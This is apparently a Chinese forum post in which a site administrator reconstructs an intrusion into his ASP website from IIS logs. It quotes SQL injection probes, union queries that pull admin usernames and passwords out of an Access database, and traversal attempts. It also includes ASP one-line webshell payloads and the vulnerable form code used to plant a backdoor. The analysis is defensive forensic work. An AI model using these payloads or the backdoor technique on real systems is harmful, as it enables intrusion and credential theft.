分析感悟:能够在系统权限下做好的事情就尽量在系统搞定,实在不行的,再从其它防御方案来解决。 详细过程: 攻击者对我服务器的4个网站进行了大量的检测,最后决定把目标选为HdhCmsTest2cto测试数据 。之后开始寻找注入点,时间大约是从2010-06-06 17:01:13左右开始,先后测试了这些带有参数的网址 dc/toupiao.asp B1=投票&B2=结果' and '7'='7 XXLR1.ASP?ID=560 and 7=2 FLMEN.ASP MENUID=2265 and 7=7 flmen.asp menuid=2265&menujb=2 and 7=2 flmen.asp menuid=2265&menujb=2' and '7'='7 find.asp LR=!S!WCRTESTINPUT000000!E!&B1=提交&MENU=全部栏目' and '7'='7 find.asp B1=提交&MENU=全部栏目&LR=!S!WCRTESTINPUT000000!E!' and '7'='7 dc/toupiao.asp B1=投票&B2=结果' and '7'='2 /flmen.asp menuid=2265 and 7=7 ztlm.asp lb=南岭风光' and '7'='2 find.asp B1=提交&MENU=全部栏目&LR=!S!WCRTESTINPUT000000!E!' and '7'='2 find.asp LR=!S!WCRTESTINPUT000000!E!&B1=提交&MENU=99999999 or 7=7 这里有一个测试方法,攻击者很聪明,他使用非数字来测试id值 http://HdhCmsTest2cto测试数据 /xxlrimg.asp?tab=&menuid=2a283 结果出现问题
之后进一步用逗号来测试 http://HdhCmsTest2cto测试数据 //xxlrimg.asp tab=&menuid=2283' 这次被网站系统过滤掉了
已经看到注入的希望,但是这次吸取教训,不再以逗号测试。 接下来,他找到了这个网站的资料下载栏目, http://HdhCmsTest2cto测试数据 //manger/Login.asp,直接给我爆出错误 攻击者是这样测试的,将用户名用特殊字符测试,比如_'123123''
跳转到首页 http://HdhCmsTest2cto测试数据 /index.asp LR=/xxlrimg.asp在参数menuid中有非法URL2283’ 继续追寻注入点,同样用非数字测试id http://HdhCmsTest2cto测试数据 /XXLR1.ASP?ID=8a3
直接爆80040e14错误
攻击者继续转换目标 /system/user/userlogin.asp /system/user/login.asp /system/user/login1.asp 但是之后继续来到资料下载这里测试 这次把用户名换成了_'admin'',同时进行了union测试,句法如下 _'UserName_=_''_and_exists_(select_username_from_[admin])''_ 就是在用户名中直接插sql语句。 之后来了一次get测试 /manger/Login.asp UserName=123'&PassWord=123&GetCode=0568&Submit.x=0&Submit.y=0 突然出现大量的对/manger/Login.asp的访问,不知道是不是暴力猜解
与此同时另外一个日志出现,范围内容为 /ever.asp lr=%C4%FA%C3%BB%D3%D0%D7%A2%B2%E1%B3%C9%B1%BE%D5%BE%D3%C3%BB%A7,%BB%F2%C3%BB%D3%D0%B5%C7%C2%BC,%B2%BB%C4%DC%CA%B9%D3%C3%B4%CB%B9%A6%C4%DC 解密下 ever.asp?lr=您没有注册成本站用户,或没有登录,不能使用此功能 但是我们继续关注114.237.161.118的行为 仍然在变换sql语句猜解中 _'UserName_=_''_and_exists_(select_username_from_[admin])_where_''='''_ 'UserName_=_'123_and_exists_(select_username_from_[admin])_where_''='''_ _'UserName_=_'123'_and_exists_(select_username_from_[admin])_where_''=''_ _'UserName_=_'123'_and_exists_(select_username_from_[admin])_where_'1'='1''_ _'UserName_=_'123'_and_exists_(select_username_from_[admin])_where_'1'='1'''_ _'UserName_=_'123'_and_exists_(select_username_from_[admin])''_ 多次无果之后继续回到登陆目录 /system/user/userlogin.asp 测试2次之后,开始放弃手工。开始收到大量的扫描日志。 从日志看,如果没有猜错的话,应当是WWWSCAN。并且将目标定为system目录。 在大量的扫描日志中,同时夹杂着攻击者手动游览的日志,非常让人郁闷。但是我找到了一些让人很是蛋疼的地址。 http://HdhCmsTest2cto测试数据 /system/sysupfile/up2.asp http://HdhCmsTest2cto测试数据 /system/selectimg.asp?lb=&id=&dateid=6022999.99978859?id=541 http://HdhCmsTest2cto测试数据 /system/selectimg1.asp http://HdhCmsTest2cto测试数据 /system/sysupfile/dispfile.asp fitype=3&pagesn=&fiex=&upuser= 这些日志应当不是扫描器的结果,那么有可能是攻击者下载了相同系统的源码,来测试。 后面这个地址让人郁闷,竟然可以直接列出目录中的图片,没有任何权限检测。
真是mjj的网站系统, 心想这个游览也就是看看图片罢了,但是慢慢的开始担心起来。我看到了试图跨目录的尝试,他是这样尝试的 /system/sysupfile/dispfile.asp?fitype=3&pagesn=1&fiex=&upuser= /system/sysupfile/dispfile.asp fitype=3&pagesn=1&fiex=..&upuser= /system/sysupfile/dispfile.asp fitype=3&pagesn=1&fiex=/..&upuser= /system/sysupfile/dispfile.asp fitype=3&pagesn=1&fiex=/&upuser= /data_file.asp?webid=&id=&dateid=6345000.00025146 但是似乎并没有什么发现。开始转移到其它页面,突然发现,一个insertimg日志 http://HdhCmsTest2cto测试数据 /system/insertimg.asp?dateid=6345000.00025146?id=545 打开看了一下,蛋疼的很 又是没权限检测的。继续往下看,找到了上传地址 http://HdhCmsTest2cto测试数据 /system/sysupfile/up1.asp 这个好像有session检查,攻击者进行了注入尝试 /system/insertimg.asp dateid=6345000.00025146?id=545' 他同时找到了另外一个上传点 /system/sysupfile/up2.asp 但是似乎都没有利用的地方,他重新杀回登陆页面。找到多个重要的路径。 /system/user/login1.asp /SYSTEM/USER/FRIEND.ASP
爆出了一个很重要的目录setup,此时已经差不多到了17:47:02,尝试进行了47分钟左右。 /db/fileupimg2.asp /db/WEBDEL.ASP /system/upimg5 /system/webfilelist.ASP?MENUID=2292&menujb=3 文章管理页面 接下来,攻击者找到这样一个页面 /dc/setup.asp /dc/setup1.asp 爆出没有权限 http://HdhCmsTest2cto测试数据 /dc/modi.asp http://HdhCmsTest2cto测试数据 /dc/modi.asp?id=1 http://HdhCmsTest2cto测试数据 /dc/modi1.asp 继续往下翻,终于我看到了[/system/管理信息]之类的中文信息的路径,我知道,扫描日志终于要完了。 攻击者还在查找注入 /dc/modi.asp id=1' /dc1/modi.asp?id=1' /dc1/modi1.asp 从日志看,攻击者又回到了图库这里 /system/selectimg.asp?lb=&id=&dateid=6022999.99978859?id=541 /system/selectimg1.asp?filetype= /system/data.asp?id=1 /system/sysupfile/dispfile.asp?fitype= /system/ADDfile1.asp 接下来出现 /dc/webdc.asp写入文件失败的情况 /upfile/dark2.asp 此时说明,小马已经上来了。 进行了多次的id的尝试 /dc/modi.asp?id=39 /dc/webdc.asp?goaction=qbh 我有一种疑惑,是他传上来了shell?还是想测试这个是不是马?从格式看,可能是darkblood的。 还在继续猜测 /system/webedit.asp?id=1 /system/webedit.asp id=1' 看了只是想试试webdc是不是shell /system/webedit.asp?id=123 /system/webedit.asp?id=123a /system/webedit.asp id=123' /system/webedit1.asp id=123a /system/file_laiyuan1.asp 经过无数次尝试之后又回到了开始上传的那里 /system/sysupfile/up1.asp /system/sysupfile/up2.asp 擦,竟然知道数据库的绝对路径,蛋疼,越来越看不懂了 之后确定用 http://HdhCmsTest2cto测试数据 /dc1/modi.asp?id=1 这个注入点才进行操作,试图读取文件和列目录 /dc1/modi.asp%20id=1%20union%20select%20username,password,3,4%20from%20admin%20in%20%22*://wwwroot/systemdb/%23%23%23%23userdb.asp%22%20where%20id=1 继续看日志,看到另外一个让我无语的地址 /system/user/bbssetup.asp
攻击者针对这个地址进行了大量的测试,之后开始转移到/guestbook这个目录来进行测试 /guestbook/search.asp /guestbook/login.asp 再之后,让我迷惑不解, 出现了a.asp的访问 我打开一看,竟然是我的那个上传小马,还有另外一个上传小马/shellcode.asp;jpg 让我更加迷惑的时这个文件似乎不是114.237.129.237上传的,因为他尝试了好多次的密码 /shellcode.asp;jpg?goaction=123 /shellcode.asp;jpg?action=123 /shellcode.asp;jpg?action=123 /shellcode.asp;jpg?g=1234 /shellcode.asp;jpg?s=123 /shellcode.asp;jpg?a=123 /shellcode.asp;jpg?pass=123 后来查看文件日期和自己的博客日志,猛然想起来,这几个shell极可能是自己当初测试时上传没有删除,查看了其中一个shell的密码,竟然是自己曾经用过的密码md5,蛋疼。让我迷惑的事情来了,114.237.129.237是怎么知道这个文件,他可以列出当前网站的目录?ca Systemdb/dark2.asp是确确实实存在的,这个肯定不是我上传,攻击者应当拿到了一句话后门。 并且他试图列出c:\windows和E盘中的文件,至少修改了2个文件,分别为 Systemdb/dark2.asp和dc/webdc.asp,Systemdb是数据库目录,具有写入的权限,但是无脚本权限,所以这个大马应当是没有作用。dc/webdc.asp是一个access数据库,能够写入,也有权限,但是这个目录是没有写入权限的,奇怪的是现在这个webdc.asp用记事本打开竟然全部为空,被清空了。现在攻击者的权限应当是拿到了一句话,并且可以列目录。并且,如果我没有猜错的话,他的一句话地址就是dc/webdc.asp。拿到一句话之后曾经想写入文件dc\wsi.asp。同时结合拦截日志,我知道是通过dc/modi1.asp写入,我查看dc/modi1.asp的源文件,他包含的有一个filetou.asp,而这个文件就是打开access数据库webdc.asp的文件。基于这个想法,我继续查看日志。我搜索dc/modi1.asp的相关访问记录,果然发现了踪迹 [/dc/webdc.asp |69|800a000d|类型不匹配:_'execute'].mjj的,已经被写入一句话了,查看周边记录。 到现在我明白过来了,我说怎么有那么多的dc/modi.asp,dc/modi1.asp和dc/webdc.asp的访问记录呢。同时我突然想起来,上次小k弄这个站的时候是社工到了后台密码,好像也是在这个目录拿的shell。既然是这样的话,那么应当存在一个没有管理员验证就可以对数据库进行操作的页面。 查看/dc/modi1.asp的源码 <%@ LANGUAGE = VBScript.Encode %> <!--#include file="superno.asp"--> <!--#include file="filetou.asp"--> <% id=session("webdcid") name=request.form("name") sql="Select * FROM dc where id="&id set rs=server.createobject("ADODB.Recordset") rs.Open sql,conn, 1, 3 rs("name")=name rs.update rs.close set conn=nothing session("webdcid")="" response.redirect "setup.asp" %> 看到rs.update,不得不说蛋疼,有一点确信当初的想法了。心想这个name该怎么输入值呢? 由于也有大量的dc/modi.asp的访问记录,我查看了下dc/modi.asp的代码 <!--#include file="superno.asp"--> <!--#include file="filetou.asp"--> <% id=request("id") dim rs sql="Select * FROM dc where id="&id set rs=server.createobject("ADODB.Recordset") rs.Open sql,conn, 1, 3 session("webdcid")=id %> <html> <head> <meta http-equiv="Content-Language" content="zh-cn"> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <meta name="GENERATOR" content="Microsoft FrontPage 4.0"> <meta name="ProgId" content="FrontPage.Editor.Document"> <title>New Page 1</title> </head> <body bgcolor="#E0F0F8"> <form method="POST" action="modi1.asp"> <div align="center"> <center> <table border="1" width="70%" bordercolorlight="#000000" cellspacing="0" cellpadding="10" bordercolordark="#FFFFFF" bgcolor="#A4D1E8"> <tr> <td width="100%">你要把项目:<%=rs("name")%> <br> 改为:<input type="text" name="name" size="20" value="<%=rs("name")%>"><input type="submit" value="提交" name="B1"></td> </tr> </table> </center> </div> </form> </body> </html> <%rs.close set conn=nothing %> 一切都明白了,他的action对象就是modi1.asp,从过这个页面的form将一句话木马写入到数据库中。 既然这样,那么我也测试一下 由于是access数据库,并且没有拦截,所以我想应当是UNICODE码的加密一句话,由于数据库被搞坏,我重新传一个测试下。在这里得说一下,检测没问题,但是别毁坏别人的数据库。 传好数据库后,我们打开 http://HdhCmsTest2cto测试数据 /dc/modi.asp?id=43
插入加密的一句话。之后打开数据库查看是否成功。
已经被成功插入了一句话, 用菜刀连接下看看
成功列出了目录。说明入侵的思路确实是这样!问题找到了,那么思路也就清晰了。继续分析日志 攻击者总共插入数据库2次。 2010-06-06 18:16:55 222.73.167.44 GET /dc/webdc.asp.这条日志就是第一次检查是否插入成功的日志,由于第一次数据库没有损坏,/dc/modi.asp?id=1直接就能访问了,之后想写入大马,由于没有权限出现多次写入文件失败日志[/dc/webdc.asp |0|800a0bbc|写入文件失败。] 再到后来,开始列目录,查找可以上传文件的地方,最后在数据库目录/systemdb/写下dark2.asp,并尝试/systemdb/dark2.asp?goaction=qbh这样登陆,没有权限,清空内容,替换为test。这也就是这个文件的由来。之后上传了/upfile/dark2.asp,但是没有脚本权限,删除之。 在第一次插入数据库成功后,就尝试建立dc\wsi.asp,但是没有成功,之后尝试列出c:\windows和c:\windows\system32,但是都没有成功。同时尝试列出了e潘,e盘是cd,我无设置权限。 之后不知道为什么,可能插入数据库出现了错误,同时数据库被插坏了。/dc/modi.asp?id=1已经不能正常访问,如是出现了下图的情况,多次尝试试图找出正确的id值。
我说奇怪呢,怎么老是测试这个id,原来是为了找到一个正确的id值,然后插入一句话。不得不说,攻击者对这代码还真熟悉,我都从来没看过。从日志可以看到当id为43时,终于正确了。插入成功后用菜刀进行了连接,之后他想把这个webdc.asp替换成大马。由于找不到写入的目录,而写入的目录又没有权限,所以他不得不想办法把数据库webdc.asp替换成大马。他多次尝试这样登陆 /dc/webdc.asp?goaction=qbh /dc/webdc.asp?goaction=login 再之后他重新开始寻找其他漏洞,继续测试了大量注入点和后台文件。再到后面,还是来到了/dc1/modi.asp这里,让我郁闷的是,他竟然猜表
就这样一直在折腾,寻找敏感文件,尝试传大马的机会。 一直到2010-06-06 20:10:42左右,最后确认了一次dc/webdc.asp没问题。如果没有猜错的话,攻击者应当吃晚饭去了。 分享到这里的时候,我查看另一份拦截日志,发现这个时间怎么都对不上。仔细查看我才明白,iis的时间我没有设置为系统时间,而是格林尼治标准时间,也就是说比北京时间慢了8个小时。这样看了原来攻击者是从2010-06-06 17:01:13加上8个小时,那么就应当是6月7日的1点多开始的了,当然最后也不是晚饭了,应当是睡觉去了,这也才符合夜猫子的行动习惯。 那么结合我的另外一份日志,可以清晰的看到。攻击者在插入数据库时测试了这么几种一句话 <% eval request ( ) %> < script language = vbscript runat = server > execute request ( ) < /script > <% execute request ( ) %> 这些都被拦截了,那么他测试成功的一句话是什么呢?肯定是加密的ASCII一句话。 在2010-06-07 02:51:55左右,攻击者开始重新开始测试,他尝试了几次union,这也导致他不得不更换ip。 http://HdhCmsTest2cto测试数据 /dc1/modi.asp?id=1%20union%20select%20username,password,3,4%20from%20admin%20in%20"D:\website\target\wwwroot\systemdb\%23%23%23%23userdb.asp"%20where%20id=1 http://HdhCmsTest2cto测试数据 /dc1/modi.asp?id=1%20union%20select%201,2,3,4%20from%20admin%20in%20"D:\website\target\wwwroot\systemdb\%23%23%23%23userdb.asp"%20where%20id=1 郁闷,用一句话获得了数据库的物理地址,并且尝试注入,蛋疼。由于注入是会被封ip的,所以攻击者不得不重启hub,重新获取ip,那么他的ip变化为 114.237.161.118 114.237.130.191 114.237.130.14 114.237.128.98 114.237.130.110 此次注入之后ip换为114.237.129.237。一阵测试后,最后在4点10左右,结束整个测试。 现在对攻击者的整个攻击思路进行一下总结。整个攻击从6月7日的1点多开始,在4点10左右停止,整个过程持续了4个小时左右,战果是拿下了一句话后门。首先是探路,测试了本服务器的4个网站,最后选定HdhCmsTest2cto测试数据 这个站点,决定从这个站点下手。选定站点之后,首先测试页面可能存在的注入点,测试了多个带有参数的页面。觉得希望不大之后开始运行wwwscan扫描站点系统。同时下载了同站点系统进行研究,之后测试各个可能存在问题的页面,最后在一个页面中找到了可以插入一句话的 漏洞 ,之后插入一句话,再之后尝试扩大成果,想传大马,但是没有成功。整个IIS的分析也就在此结束了。分享到这里我突然有一个想法,这个测试者会不会是刀城的刀友呢?搜搜看。 以114.237开头的会员有2位。 能有这种机会,在一个ip段的机会是微乎其微的。我初步认为是bbt4ng,或者是他的朋友至少离他不远! 后来找他聊了一下,果然是的。
此文已发表在土司 论坛 !
转自 金刀客[HdhCmsTestdaokers测试数据]
查看更多关于根据日志逆向分析攻击者入侵思路及查找0day - 网的详细内容...